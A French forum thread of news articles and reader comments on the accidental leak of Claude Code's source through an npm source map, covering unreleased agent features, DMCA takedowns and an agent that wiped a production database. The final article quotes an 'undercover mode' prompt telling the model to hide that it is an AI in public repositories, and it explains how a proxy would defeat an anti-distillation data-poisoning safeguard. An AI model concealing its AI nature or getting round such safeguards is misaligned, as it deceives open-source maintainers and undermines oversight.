Discussion :

[Stéphane le calme]

Anthropic expose accidentellement 512 000 lignes du code source de Claude Code :
la feuille de route secrète d'une IA à 380 milliards de dollars est désormais publique

En quelques heures, une erreur de configuration dans un pipeline de build a rendu publiques plus de 512 000 lignes de TypeScript constituant le cœur de Claude Code, l'outil de programmation assistée par IA d'Anthropic. Le chercheur en sécurité qui a découvert la fuite n'a eu qu'à suivre un lien dans un fichier de débogage pour accéder à l'intégralité du projet. Depuis, le dépôt GitHub de sauvegarde a été forké plus de 41 500 fois. La communauté des développeurs a désormais accès à la feuille de route d'une entreprise valorisée à 380 milliards de dollars.

Tout a commencé dans la nuit du 31 mars 2026. Un ingénieur d'Anthropic pousse une mise à jour de routine du paquet npm de Claude Code. Dans l'archive publiée se glisse un fichier source map ; un artefact de débogage de 59,8 mégaoctets dont la vocation première est de relier le code minifié et obfusqué à son code source original, pour faciliter l'identification des bogues en développement. En production, ce type de fichier n'a rien à faire dans un paquet distribué publiquement.

Ce fichier map contenait une référence au code source TypeScript non obfusqué, qui pointait vers une archive ZIP hébergée sur un bucket Cloudflare R2 appartenant à Anthropic, un bucket accessible sans authentification. Il suffisait de suivre le lien.

Moins de trois heures après la publication, le chercheur en sécurité Chaofan Shou repère l'anomalie et la signale sur X. Six heures plus tard, quelqu'un a sauvegardé l'intégralité des 512 000 lignes de TypeScript sur GitHub. L'entreprise retire rapidement le paquet fautif, mais internet n'a pas attendu.

Le dépôt public de sauvegarde dépasse rapidement 1 100 étoiles et 1 900 forks. L'auteur original du dépôt, conscient des risques juridiques liés à l'hébergement de propriété intellectuelle d'Anthropic, finit par remplacer le contenu par un portage Python de Claude Code. Cela n'empêche pas les copies de proliférer.

Anthropic a confirmé l'incident dans un communiqué lapidaire transmis à The Register : il s'agissait d'un problème d'empaquetage provoqué par une erreur humaine, non d'une faille de sécurité. Aucune donnée client ni aucun identifiant n'ont été exposés. L'entreprise précise qu'elle déploie des mesures pour éviter toute récurrence.

L'architecture interne d'un outil de production sérieux

La fuite révèle d'abord l'ampleur réelle du projet. Environ 1 900 fichiers TypeScript, plus de 512 000 lignes de code, une quarantaine d'outils intégrés, une cinquantaine de commandes slash. Ce n'est pas une couche de vernis posée sur une API de chat : Claude Code est une plateforme de développement à part entière.

L'outil tourne sur le runtime Bun plutôt que Node.js, et utilise React via la bibliothèque Ink pour le rendu de l'interface dans le terminal, une interface en composants avec gestion d'état, exactement comme une application web. Le moteur de requêtes, qui gère l'ensemble des appels à l'API LLM, du streaming, du cache et de l'orchestration, représente à lui seul 46 000 lignes de code.

L'architecture repose sur un système de plugins : chaque fonctionnalité (lecture de fichiers, exécution de commandes bash, récupération de pages web, intégration LSP) est un outil discret soumis à un système de permissions. Une couche de communication bidirectionnelle connecte les extensions EDI (VS Code, JetBrains) à l'interface ligne de commande via des canaux authentifiés par JWT.

L'ingénieur allemand Gabriel Anhaia, qui a publié une analyse détaillée du code exposé, résume la leçon à en tirer pour tout développeur : un seul fichier .npmignore mal configuré, ou un champ files oublié dans le package.json, suffit à tout exposer. Il recommande d'utiliser npm pack --dry-run avant chaque publication pour vérifier le contenu exact de l'archive distribuée.

La feuille de route involontairement rendue publique

La partie la plus stratégiquement sensible de la fuite n'est pas ce qu'Anthropic a livré à ses utilisateurs : c'est ce que l'entreprise avait déjà construit sans encore le rendre disponible.

Le code source contient 44 drapeaux de fonctionnalités. Dans la version publique, certains de ces interrupteurs sont désactivés. Dans la version interne, ils sont actifs. Le code correspondant n'est pas expérimental : il est compilé et fonctionnel.

Parmi les fonctionnalités déjà construites et identifiées dans le code, plusieurs retiennent l'attention. Un système baptisé Kairos permettrait à Claude d'opérer de façon autonome en arrière-plan, surveillant des dépôts GitHub, suivant les pull requests et envoyant des notifications push. Un mode Coordinator permettrait à une instance de Claude d'orchestrer une équipe d'agents Claude secondaires, chacun disposant d'un jeu d'outils restreint et d'un espace de travail propre. Un module Agent Triggers donnerait à l'outil la capacité d'exécuter des tâches planifiées via des cron jobs et des webhooks externes.

La liste continue : une interface vocale complète utilisant le modèle de reconnaissance Deepgram Nova 3, une intégration Playwright permettant le contrôle d'un vrai navigateur (non pas du scraping, mais une interaction pilotée comme le ferait un humain), et un système de mémoire persistante qui survivrait aux redémarrages sans stockage externe.

La conclusion s'impose : Anthropic ne construit pas lentement ces fonctionnalités. Elles sont déjà prêtes. La cadence de publication (une nouveauté toutes les deux semaines environ) est un choix délibéré de rythme, non une contrainte technique. Cette stratégie de dévoilement progressif, désormais publiquement documentée, sera difficile à maintenir : les concurrents connaissent à présent l'agenda précis d'Anthropic.

Un animal de compagnie virtuel caché derrière du code hexadécimal

La fuite réserve aussi une curiosité inattendue. Enfouie dans le code de production se trouve une implémentation complète d'un animal de compagnie virtuel en ASCII. La commande /buddy ferait apparaître une mascotte générée à partir de l'identifiant de l'utilisateur, choisie parmi 18 espèces : canard, capybara, dragon, fantôme, axolotl, et une créature baptisée « chonk ». Le système embarque une mécanique de rareté gacha (avec 1 % de chances d'obtenir une espèce légendaire), des variantes irisées et des accessoires : couronne, chapeau de sorcier, hélice et « tinyduck ». La mascotte dispose de trois attributs statistiques : DEBUGGING, CHAOS et SNARK.

L'une des 18 espèces partage son nom avec un nom de code interne de modèle Anthropic. Pour éviter que le scanner de sécurité interne ne détecte la liste d'espèces et ne déclenche une alerte, les développeurs ont encodé les 18 noms en hexadécimal. Ce qui donne, dans le code source réel : export const duck = String.fromCharCode(0x64,0x75,0x63,0x6b), soit, lettre par lettre, le mot « duck ». Anthropic a encodé le mot « canard » en hexadécimal pour le dissimuler à ses propres outils de sécurité.

Le miroir du code réel

Au-delà de la feuille de route stratégique et du canard hexadécimal, la fuite est aussi un document ethnographique sur ce que ressemble le code de production dans une des entreprises technologiques les plus scrutées du moment.

Un fichier dépasse 803 924 octets, près d'un mégaoctet de TypeScript en fichier unique, 4 683 lignes. L'utilitaire d'impression fait 5 594 lignes. Le gestionnaire de messages, 5 512 lignes. On compte 460 directives eslint-disable dans l'ensemble de la base de code, et plus de 50 fonctions portant _DEPRECATED dans leur nom qui continuent pourtant d'être appelées en production. La fonction responsable de l'enregistrement des identifiants de connexion sur le disque s'appelle writeFileSyncAndFlush_DEPRECATED().

Les commentaires des développeurs dans le code valent leur pesant d'or. On y trouve : « TODO: figure out why. » placé dans le gestionnaire d'erreurs. Ou encore : « Not sure how this became a string. » suivi de « TODO: Fix upstream. », l'amont en question étant leur propre code. Neuf blocs catch vides dans le fichier de configuration responsable de l'authentification : quand quelque chose tourne mal lors de la connexion, il y a neuf endroits où l'erreur est attrapée et silencieusement ignorée.

Rien de tout cela n'est inhabituel. Chaque grande base de code ressemble à ça de près. Ce qui frappe, c'est qu'on ne voit jamais habituellement l'intérieur. La fuite a tiré le rideau sur une entreprise à 380 milliards de dollars et révélé exactement ce que les développeurs soupçonnaient : le même chaos qu'ils connaissent eux-mêmes, simplement à plus grande échelle.

La deuxième fois en cinq jours

Ce n'est pas un incident isolé. Il s'agit de la deuxième fois en cinq jours qu'Anthropic publie accidentellement quelque chose qu'elle n'avait pas l'intention de rendre public. La semaine précédente, des documents internes révélaient des détails sur leur modèle le plus puissant non encore annoncé.

Les détails concernant le nouveau modèle auraient été stockés dans un brouillon de blog accessible dans un entrepôt de données non sécurisé et consultable par le public. Anthropic estime que son prochain modèle présente des risques de cybersécurité sans précédent. Anthropic aurait laissé près de 3 000 ressources liées à l'article de blog qui n'avaient pas été publiées auparavant sur les sites d'actualités ou de recherche de l'entreprise.

La start-up spécialisée dans l'IA aurait laissé le brouillon de l'article de blog annonçant Mythos dans un lac de données public et non sécurisé, qui a été découvert par Roy Paz, chercheur senior en sécurité de l'IA. Après avoir été informée de la faille, Anthropic a immédiatement empêché le public de rechercher et de récupérer des documents dans le référentiel de données. Anthropic a imputé la fuite à une « erreur humaine » dans la configuration de son système de gestion de contenu (CMS), qui a rendu le brouillon de l'article de blog accessible au public. L'entreprise a également qualifié les documents non publiés présents dans le lac de données de « premières ébauches de contenu envisagées pour publication ».

La question n'est donc plus seulement technique. Elle porte sur la maturité des processus de publication d'une entreprise qui se positionne en gardienne responsable du développement de l'IA. L'ironie est difficile à ignorer : l'outil conçu pour aider les développeurs à écrire du code plus sûr a exposé son propre code source faute d'une vérification élémentaire de son pipeline de build.

Pour les équipes qui distribuent des paquets npm, la leçon est claire et immédiatement applicable : auditer le contenu de chaque publication, ne jamais inclure de fichiers source map en production, et traiter le pipeline de build avec le même niveau d'attention que le code qu'il distribue. Pour le reste de l'industrie, la fuite d'Anthropic illustre une vérité plus large : les secrets d'une feuille de route sont aussi fragiles que la configuration d'un fichier package.json.

Conclusion : Quand le code qui fuit rencontre le code qui détruit

La fuite du code source de Claude Code n'est pas seulement une bourde de configuration : elle constitue un instantané révélateur de l'état réel d'un outil désormais utilisé par une part significative de l'industrie du développement logiciel. Et cet instantané arrive dans un contexte déjà tendu.

Trois semaines avant que le fichier source map ne s'échappe d'un bucket Cloudflare, un développeur du nom d'Alexey Grigorev vivait une nuit qui lui a coûté 2,5 ans de données en production. Vers 22 heures un jeudi soir de fin février, il avait confié à Claude Code la gestion d'une migration d'infrastructure Terraform sur AWS. En quelques minutes, l'agent avait détruit l'intégralité de son environnement de production (base de données, snapshots compris) faisant disparaître des années d'historique de cours pour sa plateforme DataTalks.Club.

Ce qui relie les deux événements est plus profond qu'une simple coïncidence de calendrier. La fuite du code source a révélé qu'Anthropic avait déjà construit des agents autonomes capables d'opérer en arrière-plan, d'orchestrer des équipes d'agents secondaires, d'exécuter des tâches planifiées et de contrôler un vrai navigateur... le tout désactivé en production par des drapeaux de fonctionnalités. Les mises à jour hebdomadaires de Claude Code tout au long de mars 2026 ont ajouté des fonctionnalités autonomes plus vite que les mécanismes de sécurité correspondants. Plus de puissance, mêmes exigences d'isolation, sans application contraignante.

La leçon double que les deux incidents imposent est finalement la même formulée à deux niveaux différents d'abstraction. Au niveau du pipeline de build : un outil de débogage oublié dans un paquet npm suffit à exposer une feuille de route stratégique. Au niveau de l'architecture d'un agent autonome : un fichier d'état mal positionné suffit à raser une infrastructure de production. Dans les deux cas, c'est la confiance accordée à l'automatisation sans vérification humaine intermédiaire qui transforme l'erreur bénigne en désastre.

Sources : vidéos dans le texte, GitHub

Et vous ?

La stratégie de dévoilement progressif d'Anthropic (publier les fonctionnalités une à une alors qu'elles sont déjà prêtes) est-elle une pratique légitime de gestion de produit, ou une forme de manipulation de la perception du marché ?

Après la fuite du code source d'un outil de développement, dans quelle mesure les concurrents peuvent-ils légitimement s'en inspirer, juridiquement et éthiquement ?

La présence de neuf blocs catch vides dans le gestionnaire d'authentification d'un outil utilisé en production par des milliers de développeurs devrait-elle inquiéter ? Ou est-ce simplement la réalité du développement logiciel à grande vitesse ?

L'encodage hexadécimal des noms d'espèces du système de mascotte (pour tromper les scanners de sécurité internes) révèle-t-il un problème dans la culture de sécurité d'Anthropic, ou est-ce un détournement créatif tout à fait anodin ?

[Jade Emy]

Anthropic impute la fuite du code source de l'agent IA Claude à ses employés et confirme une erreur humaine, qualifiant cet incident d'« erreur de publication plutôt que de faille de sécurité »

Récemment, le code source de Claude Code a fait l'objet d'une fuite, révélant de nombreuses fonctionnalités et modèles à venir. En réponse, Anthropic a confirmé qu'une erreur humaine était à l'origine de la fuite du code source de son agent IA, Claude Code, qui a fait perdre des milliards aux marchés boursiers mondiaux. L'entreprise a qualifié cet incident d'erreur de publication plutôt que de faille de sécurité. Cette divulgation fait suite à un autre incident au cours duquel des documents internes, notamment les plans de l’entreprise concernant un futur modèle d’IA, ont été découverts dans un cache de données accessible au public.

Anthropic est une entreprise américaine spécialisée dans l'intelligence artificielle (IA) dont le siège social est situé à San Francisco. Elle a développé une famille de grands modèles de langage (LLM) baptisée Claude. Anthropic fonctionne comme une société d'intérêt public qui mène des activités de recherche et de développement en IA afin « d'étudier leurs propriétés de sécurité à la frontière technologique » et d'utiliser ces recherches pour déployer des modèles sûrs destinés au grand public.

En février 2025, Anthropic a lancé Claude Code, une interface en ligne de commande qui s'exécute sur l'ordinateur de l'utilisateur. Elle se connecte à une instance de Claude hébergée sur les serveurs d'Anthropic via une API, et permet à cette instance d'exécuter des commandes, de lire et d'écrire des fichiers, ainsi que d'échanger des messages avec l'utilisateur. Claude peut exécuter des commandes en avant-plan ou en arrière-plan. Le comportement de Claude Code est généralement configuré via des documents Markdown sur l'ordinateur de l'utilisateur, tels que CLAUDE.md, AGENTS.md, SKILL.md, etc.

Récemment, le code source de Claude Code a fait l'objet d'une fuite, révélant de nombreuses fonctionnalités et modèles à venir. Tout a commencé dans la nuit du 31 mars 2026. Un ingénieur d'Anthropic pousse une mise à jour de routine du paquet npm de Claude Code. Dans l'archive publiée se glisse un fichier source map ; un artefact de débogage de 59,8 mégaoctets dont la vocation première est de relier le code minifié et obfusqué à son code source original, pour faciliter l'identification des bogues en développement. En production, ce type de fichier n'a rien à faire dans un paquet distribué publiquement. L'erreur de configuration a rendu publiques plus de 512 000 lignes de TypeScript constituant le cœur de Claude Code.

Claude code source code has been leaked via a map file in their npm registry!

Code: https://t.co/jBiMoOzt8G pic.twitter.com/rYo5hbvEj8

— Chaofan Shou (@Fried_rice) March 31, 2026

En réponse, Anthropic a confirmé qu'une erreur humaine était à l'origine de la fuite du code source de son agent IA, Claude Code, qui a fait perdre des milliards aux marchés boursiers mondiaux. L'entreprise a qualifié cet incident d'erreur de publication plutôt que de faille de sécurité. La start-up spécialisée dans l'IA a révélé qu'un problème de packaging avait involontairement exposé une partie de son code interne.

« Aucune donnée sensible ni aucun identifiant de client n'ont été concernés ou exposés. Il s'agissait d'un problème de packaging lié à la publication, causé par une erreur humaine, et non d'une faille de sécurité. Nous mettons en place des mesures pour éviter que cela ne se reproduise », a déclaré un porte-parole d’Anthropic.

La fuite, qui a fait surface en ligne via un paquet npm accessible au public, aurait exposé environ 2 200 fichiers et quelque 30 Mo de code TypeScript. L’incident a rapidement attiré l’attention, un post renvoyant vers le code ayant été vu des millions de fois, et a suscité des inquiétudes quant à l’ampleur des informations que cela pourrait fournir aux concurrents sur l’approche de développement d’Anthropic.

Cette divulgation fait suite à un autre incident au cours duquel des documents internes, notamment les plans de l’entreprise concernant un futur modèle d’IA, ont été découverts dans un cache de données accessible au public. Cet incident a braqué les projecteurs sur les pratiques internes de l’entreprise.

Les développeurs qui ont examiné le code divulgué ont découvert des fonctionnalités non encore publiées, telles qu'un agent d'arrière-plan toujours actif, également connu sous le nom de Kairos, et une fonctionnalité complémentaire comportant des éléments de gamification. Le code faisait également allusion à des fonctionnalités pour plusieurs agents IA et à des processus d'approbation des autorisations. Dans le même temps, la structure du code a suscité des réactions mitigées, certains rapports soulignant la présence de fichiers volumineux et complexes ainsi que des solutions de contournement pour les dépendances circulaires.

Anthropic, fondée en 2021 par d'anciens chercheurs d'OpenAI, a connu une croissance rapide grâce à sa famille de modèles d'IA Claude. Claude Code, lancé en mai, est utilisé par les développeurs pour écrire du code, corriger des bugs et automatiser les flux de travail, et a contribué à intensifier la concurrence avec des entreprises telles qu'OpenAI, Google et xAI.
L'entreprise envisagerait également une introduction en bourse potentielle plus tard cette année, ce qui ajoute de la pression alors qu'elle s'efforce de remédier à des défaillances répétées.

Source : Anthropic

Et vous ?

Pensez-vous que cette réponse d'Anthropic est crédible ou pertinente ?
Quel est votre avis sur le sujet ?

Voir aussi :

Anthropic accuse DeepSeek et d'autres laboratoires chinois d'IA d'utiliser Claude pour extraire illicitement les capacités de Claude afin d'améliorer leurs propres modèles à l'aide de 24 000 comptes frauduleux

Anthropic force les marchés à envisager un futur où l'IA rend les applications inutiles : près de 1 000 Mds $ envolés tandis que les investisseurs se demandent si l'IA ne représente pas une menace existentielle

GitGuardian révèle une progression de 81 % des fuites liées aux services d'IA tandis que 29 millions de secrets sont détectés sur GitHub public

[OuftiBoy]

à toutes et tous,

En voilà une nouvelle surprenante, n'est-il pas ? Evidemment, c'est "une erreur humaine", on est bien obligé de les croire. Quoi, ils n'avaient pas un agent IA dernier cri super de la mort qui tue balèze et plus encore pour "automatiser" le processus ? C'est bête ça... Vite, vite, faisons une levée de fond de quelques milliards pour pouvoir régler ce léger soucis...

Quoi, leur "IA" est codée en "Typescript" ? Pas étonnant que ça consomme autant...

Quelle drôle d'époque...

BàV et Peace & Love.

[Alex]

Anthropic émet des demandes de retrait pour violation du droit d'auteur afin de supprimer plus de 8 000 copies du code source de Claude Code, une fuite qu'Anthropic impute à une erreur humaine de ses employés

Anthropic s'efforce de contenir la fuite des instructions internes qui sous-tendent Claude Code, son assistant de codage IA très populaire. Selon un article du Wall Street Journal, l'entreprise a réussi à faire retirer de force 8 000 copies du code en recourant à une demande de retrait pour violation du droit d'auteur. Cette fuite est le résultat d'une erreur humaine qui pourrait coûter cher à l'entreprise.

Anthropic PBC est une entreprise américaine spécialisée dans l'intelligence artificielle (IA) dont le siège social est situé à San Francisco. Elle a développé une famille de grands modèles de langage (LLM) baptisée Claude. Anthropic fonctionne comme une société d'intérêt public qui mène des activités de recherche et de développement en IA afin « d'étudier leurs propriétés de sécurité à la frontière technologique » et d'utiliser ces recherches pour déployer des modèles sûrs destinés au grand public.

Fin mars 2026, le code source de Claude Code a fait l'objet d'une fuite, révélant de nombreuses fonctionnalités et modèles à venir. Tout a commencé dans la nuit du 31 mars 2026. Un ingénieur d'Anthropic pousse une mise à jour de routine du paquet npm de Claude Code. Dans l'archive publiée se glisse un fichier source map ; un artefact de débogage de 59,8 mégaoctets dont la vocation première est de relier le code minifié et obfusqué à son code source original, pour faciliter l'identification des bogues en développement. En production, ce type de fichier n'a rien à faire dans un paquet distribué publiquement. L'erreur de configuration a rendu publiques plus de 512 000 lignes de TypeScript constituant le cœur de Claude Code.

En réponse, Anthropic a confirmé qu'une erreur humaine était à l'origine de la fuite du code source de son agent IA, Claude Code, qui a fait perdre des milliards aux marchés boursiers mondiaux. L'entreprise a qualifié cet incident d'erreur de publication plutôt que de faille de sécurité. La start-up spécialisée dans l'IA a révélé qu'un problème de packaging avait involontairement exposé une partie de son code interne.

Anthropic s'efforce de contenir la fuite des instructions internes qui sous-tendent Claude Code, son assistant de codage IA très populaire. Selon un article du Wall Street Journal, l'entreprise a réussi à faire retirer de force 8 000 copies du code en recourant à une demande de retrait pour violation du droit d'auteur. Cette fuite est le résultat d'une erreur qui pourrait coûter cher à l'entreprise. Lors du déploiement d'une mise à jour de Claude Code, Anthropic a publié par erreur sur GitHub un fichier renvoyant directement au code source sous-jacent de l'outil – des instructions qui sont normalement masquées pour empêcher tout accès extérieur.

Un utilisateur de X (anciennement Twitter) a repéré le fichier exposé presque immédiatement et a relayé l'information sur la plateforme. En quelques heures, les copies se sont multipliées sur GitHub et Anthropic s'est empressée de préciser l'étendue des dégâts. La société a ensuite confirmé que la fuite n'avait exposé aucune donnée client ni aucune information personnelle. Surtout, elle n’a pas non plus révélé les poids du modèle d’IA et a imputé l’erreur à une « erreur humaine ».

Cependant, les données divulguées ont fasciné les développeurs, qui ont pu découvrir comment les ingénieurs d’Anthropic travaillent pour permettre à leurs systèmes d’IA de fonctionner. Parmi les découvertes qui ont fait le plus de bruit en ligne :

- Dreaming : une fonctionnalité qui demande périodiquement à Claude Code de faire une pause, de passer en revue ses tâches précédentes et de consolider ses souvenirs.
- Sous couverture : des instructions qui semblent demander à Claude Code, dans certaines situations, de dissimuler le fait qu’il s’agit d’une IA lorsqu’il publie du code sur des plateformes comme GitHub.
- Indices sur les futurs produits : les développeurs ont trouvé dans le code des balises qui semblent indiquer des lancements de produits non annoncés, suscitant immédiatement des spéculations sur ce qu’Anthropic prépare.
- Buddy : enfoui dans le code se trouvait un animal de compagnie virtuel de type Tamagotchi nommé Buddy avec lequel les utilisateurs pouvaient apparemment interagir.

La fuite a exposé environ 2 200 fichiers et 30 Mo de TypeScript. Selon les ingénieurs qui ont épluché le code, c'est au moins la troisième fois qu'Anthropic commet exactement la même erreur. Cela intervient alors que des rapports indiquent qu'Anthropic envisage une introduction en bourse de 380 milliards de dollars plus tard cette année. Bloomberg a rapporté qu'Anthropic était en pourparlers préliminaires avec Goldman Sachs, JPMorgan et Morgan Stanley au sujet d'une éventuelle introduction en bourse en octobre. La société a déjà secoué les marchés cette année : ses mises à jour de sécurité concernant Cowork et Claude Code ont fait perdre des milliards aux actions des secteurs des logiciels et de la cybersécurité en l'espace de quelques semaines.

Cette divulgation fait suite à un autre incident au cours duquel des documents internes, notamment les plans de l’entreprise concernant un futur modèle d’IA, ont été découverts dans un cache de données accessible au public. Le nouveau modèle, dont le nom de code est « Claude Mythos », a été révélé accidentellement. Un porte-parole d'Anthropic, s'exprimant au sujet du nouveau modèle, a déclaré : « Nous développons un modèle polyvalent présentant des avancées significatives en matière de raisonnement, de codage et de cybersécurité. » Cet incident a braqué les projecteurs sur les pratiques internes de l’entreprise.

Source : WSJ

Et vous ?

Pensez-vous que ce rapport est crédible ou pertinent ?
Quel est votre avis sur le sujet ?

Voir aussi :

Anthropic expose accidentellement 512 000 lignes du code source de Claude Code : la feuille de route secrète d'une IA à 380 milliards de dollars est désormais publique

Anthropic accuse DeepSeek et d'autres laboratoires chinois d'IA d'utiliser Claude pour extraire illicitement les capacités de Claude afin d'améliorer leurs propres modèles à l'aide de 24 000 comptes frauduleux

OpenClaw : comment un agent IA « vibe-codé » en quelques semaines a exposé 135 000 machines à internet et redéfini la notion de catastrophe sécuritaire en 2026

[OuftiBoy]

à toutes et tous,

Anthropic émet des demandes de retrait pour violation du droit d'auteur afin de supprimer plus de 8 000 copies du code source de Claude Code, une fuite qu'Anthropic impute à une erreur humaine de ses employés

Quel est votre avis sur le sujet ?

Exactement le même que lorsque l'ami Sam défendait le droit à la propriété intellectuel pour son business IA, tout en trouvant normal d'avoir violé ce même droit d'auteur pour instruire son IA, en donnant comme raison qu'il n'était pas possible d'avancer sans cela. Anthropic fait ici exactement la même choses... Après s'être assis sur le droit d'auteur, ils veulent qu'on l'applique pour eux.

Que je sache, ces informations, cette fuite, n'est pas le résultat d'un vol. C'est eux qui ont rendu ces documents public. Attaquer ensuite ceux et celles qui ont récupéré ces documents publiés, sous peine d'ennuis (c'est le moins que l'on puisse dire) avec la justice, c'est l'hôpital qui se fout de la charité.

Où est la justice dans cette affaire ? Si je mets sur le trottoir, même par erreur, un frigo tout neuf au lieu du vieux frigo dont je voulais me débarrasser, pourrais-je attaquer en justice celui qui l'aura récupéré ? Je ne pense pas. Deux poids, deux mesures. Si ceux qui ont récupéré ces documents avancent le même argument que ces sociétés, disant qu'il n'était pas possible d'avancer sans cela, je ne pense pas qu'on leur donnera raison...

On va me dire que ce sujet, c'est du passé, que cela a été réglé, admis ou accepté. Mais je reste sur ma position. Si moi je commet un vol, et qu'on me rattrape deux ans plus tard, je ne pourrais pas me défendre en disant que c'est du passé...

Ce n'est que mon avis, chacun à le sien et c'est très bien ainsi.

BàV et Peace & Love.

[Ryu2000]

Lors du déploiement d'une mise à jour de Claude Code, Anthropic a publié par erreur sur GitHub un fichier renvoyant directement au code source sous-jacent de l'outil – des instructions qui sont normalement masquées pour empêcher tout accès extérieur.

C'est marrant, ça rappelle un Meme avec une histoire de données sensibles en clair dans le code (du genre identifiant, mot de passe).

[der§en]

8001, j’en ai fait une copie

[Ryu2000]

8001

Le code qui a fuité est préservé pour l'éternité.
Il va être copié, copié et re-copié derrière.
Il doit être plusieurs fois sur GitHub, il doit être en Torrent, il doit être sur eMule, Google Share et tout ce qui existe.

Anthropic a envoyé plus de 8 100 demandes de takedown DMCA à GitHub. Donc le code doit pas mal circuler.
Il y a des forks de tous les côtés. Ça ne va pas durer mais ça laissera des traces. Des gens auront le code sur leur PC.

[Stéphane le calme]

La fuite du code source de Claude Code révèle les plans d'Anthropic : un agent persistant, un mode « furtif » pour cacher ses traces dans l'open source,
un mécanisme pour polluer la concurrence qui voudrait s'entraîner sur Claude

Un fichier de débogage oublié dans un paquet npm a suffi à exposer 512 000 lignes de TypeScript au monde entier. L'incident, survenu le 31 mars 2026, révèle bien plus qu'une négligence de pipeline : il donne à voir, pour la première fois, l'architecture interne d'un agent de codage IA en production, ses fonctionnalités secrètes, ses mécanismes de protection et ses contradictions embarrassantes. Décryptage.

Tout commence par un tweet de Chaofan Shou, chercheur en sécurité chez Fuzzland, le matin du 31 mars 2026. En téléchargeant la version 2.1.88 du paquet @anthropic-ai/claude-code depuis le registre npm, il remarque quelque chose d'inhabituel : un fichier .map de 59,8 mégaoctets joint au binaire de production. Ces fichiers de cartographie de code source sont des outils de débogage qui font le lien entre le code minifié de production et le source original lisible ModemGuides... ils n'ont absolument rien à faire dans un paquet destiné au public.

512 000 lignes de code. 1 906 fichiers TypeScript. 44 drapeaux de fonctionnalités cachées. Un animal de compagnie virtuel façon Tamagotchi. Et une question qui a traversé toute la communauté technique : comment Anthropic, une entreprise valorisée à plusieurs dizaines de milliards de dollars et qui construit l'un des outils d'IA les plus utilisés au monde, a-t-elle pu laisser passer ça ?

La réponse technique est triviale : Claude Code est construit sur Bun, que Anthropic a acquis fin 2025. Bun génère des source maps par défaut. Quelqu'un dans l'équipe de release n'a pas ajouté *.map au fichier .npmignore, ni configuré le champ files dans package.json pour exclure les artefacts de débogage. Autrement dit, une seule ligne de configuration manquante a suffi à exposer l'intégralité des entrailles du produit phare d'Anthropic.

L'entreprise a confirmé l'incident le 31 mars 2026, attribuant la fuite à une erreur humaine dans le processus d'empaquetage de la version. En quelques heures, des dizaines de miroirs ont fleuri sur GitHub, certains accumulant des dizaines de milliers d'étoiles avant que les premières demandes de retrait pour violation de copyright ne tombent.

L'anti-distillation : empoisonner les concurrents

Parmi les premières découvertes qui ont fait réagir la communauté Hacker News, on trouve un mécanisme baptisé ANTI_DISTILLATION_CC. Quand ce drapeau est activé, Claude Code envoie anti_distillation: ['fake_tools'] dans ses requêtes API. Cela indique au serveur d'injecter silencieusement de fausses définitions d'outils dans le prompt système. L'idée : si quelqu'un enregistre le trafic API de Claude Code pour entraîner un modèle concurrent, les faux outils viennent polluer ces données d'entraînement.

Ce mécanisme est conditionné à quatre critères simultanés : un drapeau de compilation, l'utilisation du point d'entrée CLI, un fournisseur d'API propriétaire Anthropic, et l'activation d'un drapeau GrowthBook côté serveur. Un proxy MITM qui supprimerait simplement le champ anti_distillation des corps de requêtes avant qu'ils atteignent l'API le contournerait entièrement. N'importe qui de sérieux dans l'intention de distiller les données de Claude Code trouverait les contournements en une heure de lecture du code source. La protection est donc plus symbolique que technique et ses vrais effets dissuasifs sont probablement d'ordre juridique.

Un second mécanisme, cette fois réservé aux employés Anthropic, permet de ne renvoyer au client que des résumés des raisonnements intermédiaires, accompagnés de signatures cryptographiques permettant de les reconstruire côté serveur. Là encore, seule une organisation particulièrement motivée et dotée de ressources importantes pourrait en tirer profit.

« L'undercover mode » : Claude se fait passer pour un humain

C'est sans doute la découverte la plus commentée, et la plus inconfortable. Le fichier undercover.ts, une centaine de lignes, implémente un mode qui entre en action lorsque des employés Anthropic utilisent Claude Code sur des dépôts publics ou open source. Le prompt injecté est explicite : « Vous opérez EN COUVERTURE dans un dépôt PUBLIC/OPEN-SOURCE. Vos messages de commit, titres de PR et descriptions de PR NE DOIVENT CONTENIR AUCUNE information interne à Anthropic. Ne révélez pas votre couverture. »

La liste des choses à ne jamais mentionner est éloquente : les noms de code internes des modèles (noms d'animaux comme Capybara, Tengu, etc.), les numéros de versions non publiées, les noms de dépôts ou projets internes, les outils internes, les canaux Slack, la phrase « Claude Code » ou toute mention que l'auteur est une IA, et les lignes Co-Authored-By ou toute autre attribution.

Il existe une option pour forcer l'activation du mode undercover (CLAUDE_CODE_UNDERCOVER=1), mais aucun moyen de le désactiver de force. Dans les builds externes, l'intégralité de la fonction est éliminée à la compilation. C'est une porte à sens unique.

Les débats sur Hacker News ont été vifs. Une partie de la communauté soutient qu'il s'agit simplement de protéger des noms de code internes confidentiels, pas de tromper qui que ce soit sur la nature de l'auteur des contributions. D'autres font valoir que l'instruction explicite de ne pas mentionner être une IA dans des dépôts publics franchit une ligne éthique, particulièrement dans un contexte open source où la traçabilité des contributions est une valeur centrale. Comme l'observe un commentateur HN, les projets open source devraient peut-être établir des règles explicites concernant les contributions générées par IA, indépendamment de toute décision de l'entreprise à l'origine de l'outil.

KAIROS : l'agent autonome qui ne dort jamais

Le vrai révélateur stratégique de la fuite, celui qui intéresse le plus les concurrents, c'est KAIROS. Ce mode permet à Claude Code d'opérer comme un agent persistant en arrière-plan, capable de corriger des erreurs ou d'exécuter des tâches de manière autonome sans attendre d'intervention humaine, et d'envoyer des notifications push à l'utilisateur.

KAIROS représente un changement fondamental d'expérience utilisateur : un mode démon autonome. Alors que les outils d'IA actuels sont largement réactifs, KAIROS permet à Claude Code d'opérer comme un agent toujours actif en arrière-plan. Il gère des sessions en fond de tâche et emploie un processus appelé autoDream. Dans ce mode, l'agent effectue une « consolidation mémorielle » pendant que l'utilisateur est inactif. La logique autoDream fusionne des observations disparates, élimine les contradictions logiques et convertit des insights vagues en faits absolus.

Complète ce dispositif une fonctionnalité nommée ULTRAPLAN, qui délègue les tâches de planification complexe à une session cloud distante fonctionnant sur le modèle le plus puissant, avec jusqu'à trente minutes de temps de réflexion dédié. La nomenclature grecque (KAIROS, « le bon moment ») et le niveau d'intégration de ces fonctionnalités dans la base de code indiquent qu'il ne s'agit pas de prototypes expérimentaux, mais de fonctionnalités finalisées en attente de déverrouillage.

L'architecture interne : impressionnante et rugueuse à la fois

